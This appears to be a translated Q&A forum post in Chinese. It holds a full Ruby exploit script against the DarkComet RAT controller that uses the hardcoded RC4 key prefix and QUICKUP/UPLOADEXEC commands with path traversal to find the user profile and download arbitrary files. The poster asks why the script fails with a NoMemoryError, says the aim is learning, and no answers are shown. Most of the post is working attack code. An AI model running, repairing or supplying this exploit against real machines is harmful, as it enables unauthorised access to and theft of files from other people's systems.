DarkComet RAT漏洞利用

时间:2015-05-17 15:41:41

标签: ruby

我偶然发现了这篇好文章:http://matasano.com/research/PEST-CONTROL.pdf

这显示了RAT的一些逆向工程。

现在,第二个Exploit让我感兴趣,它是一个python脚本。找到另一个

require 'rc4'
require 'socket'
require 'hex_string'
require 'timeout'

class Util

    def initialize (key__, socket__, h__, p__)
        @key__ = key__
        @socket__ = socket__
        @h__ = h__
        @p__ = p__
    end

    def cryptfordc(thing)
        RC4.new(@key__).encrypt(thing).to_hex_string.upcase.gsub! ' ',''
    end

    def grabfile(name)
        @xx=cryptfordc('QUICKUP133|%s|UPLOADEXEC' % name)
        @socket__.write(@xx)
        begin
                timeout(3) do
                        @socket__.recvfrom(1024)
                        @socket__.recvfrom(1024)
                end
        rescue Timeout::Error
            STDERR.write "Timeout; Or the file is not there.rn"
            exit
        end
        @socket__.write('x00')
        x=''
        while 1
            aa=@socket__.recvfrom(1000000)
            if aa.nil? || aa.empty?
                break
            else
                x=x+aa.join
                begin
                    @socket__.write('x00')
                rescue Errno::EPIPE
                    break
                end
            end
        end
        return x
    end

    def testt(path)

        @utemp = cryptfordc('QUICKUP111|%s|UPLOADEXEC' % (path+'NTUSER.INI'))
        @socket__.write(@utemp)
        begin
            timeout(3) do
                @socket__.recvfrom(1024)
                @socket__.recvfrom(1024)
            end
            rescue Timeout::Error
                resetsock()
                return false
            end
        return true
    end
    def resetsock
        @socket__=TCPSocket.open(@h__,@p__)
        @socket__.recvfrom(12)
    end
    def finduserprofile
        @upath = "../"
        while 1
            if(testt(@upath) == false)
                @upath=@upath+"../"
            else
                break
            end
        end
        return @upath
    end
end

h=String(ARGV[0])
p=Integer(ARGV[1])
s=TCPSocket.open(h,p)
s.recvfrom(1024)
uu=Util.new('#KCMDDC51#-890'+ARGV[2], s, h, p)
dd = uu.finduserprofile()
uu.resetsock()
STDERR.write dd+"rn"
STDOUT.write uu.grabfile('%s%s'% [dd, ARGV[3]])

它是Ruby。我已经修复了一些错误,现在我似乎无法设法运行它。我启动DarkComet客户端侦听端口1604,一切似乎都很好。我想这段代码缺少一部分...初始连接?

做了一些分析但仍然无法实现。

我得到的错误是:

../rndc.rb:31:in `recvfrom': failed to allocate memory (NoMemoryError)
        from dc.rb:31:in `grabfile'
        from dc.rb:85:in `<main>'

怎么办?任何帮助表示赞赏。 这样做的目的是学习。我想实际看到它并进一步分析它!

0 个答案:

没有答案